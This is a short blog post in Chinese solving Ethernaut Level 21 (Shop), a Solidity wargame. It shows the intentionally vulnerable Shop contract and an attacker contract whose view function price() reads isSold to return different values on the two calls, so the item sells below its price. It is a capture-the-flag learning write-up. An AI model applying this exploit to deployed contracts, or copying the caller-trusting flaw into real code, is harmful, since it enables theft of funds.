DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 21(Shop)

LEVEL 21 (Shop):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

isSold = true
price < 100

要点

view方法的限制,不能修改状态如:storage
https://docs.soliditylang.org/en/v0.8.14/contracts.html?highlight=%20view%20method#view-functions

解题思路

跟11关思路差不多,但增加了view限制,由于不能修改storage,但需要两次返回不一定的结果,这里可以通过gasleft来判断并返回不一样的值,但这里可以使用更简单的方法如调用外部shop.isSold(这个是方法是view,是可以调用的)

  function run(address _runAddress) external payable {
    ILevel(_runAddress).buy();
  } 

  function price() external view returns (uint) {
    // view不能写storage,但可以调用外部的view
    // 也可以调用gasleft()来达到两次返回不一样的值,但比较麻烦
    return ILevel(msg.sender).isSold() ? 0 : 100;
  } 
Enter fullscreen mode Exit fullscreen mode

Top comments (0)